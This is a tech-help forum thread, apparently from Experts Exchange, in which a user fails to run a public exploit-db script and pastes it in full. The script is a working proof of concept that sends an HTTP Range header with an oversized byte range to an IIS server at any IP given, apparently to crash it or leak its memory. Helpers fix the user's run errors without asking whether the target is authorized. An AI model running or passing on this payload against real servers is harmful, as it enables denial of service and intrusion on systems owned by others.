Python Exploit Script

gman
gman used Ask the Experts™
on
Been trying to use this script - https://www.exploit-db.com/exploits/36776/

Keep getting the following

./36776.py: line 3: $'\r': command not found
./36776.py: line 4: syntax error near unexpected token `sys.argv'
'/36776.py: line 4: `if len(sys.argv)<=1:
Comment
Watch Question

Do more with

Expert Office
EXPERT OFFICE® is a registered trademark of EXPERTS EXCHANGE®
Top Expert 2014

Commented:
I think you messed up with your copy/paste of the code.
gmanInfrastructure Engineer

Author

Commented:
No thats not the issue
Top Expert 2014

Commented:
please paste your code, preferably within a code snippet
Exploring SharePoint 2016

Explore SharePoint 2016, the web-based, collaborative platform that integrates with Microsoft Office to provide intranets, secure document management, and collaboration so you can develop your online and offline capabilities.

gmanInfrastructure Engineer

Author

Commented:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

Open in new window

Top Expert 2014

Commented:
I can't recreate your error messages.

Please try this:
1. Click the Select All link below the code window above
2. Copy/paste the code into your environment
3. execute this version of the code
Infrastructure Engineer
Commented:
Reinstalling python fixed it.
gmanInfrastructure Engineer

Author

Commented:
thats how i fixed it

Do more with

Expert Office
Submit tech questions to Ask the Experts™ at any time to receive solutions, advice, and new ideas from leading industry professionals.

Start 7-Day Free Trial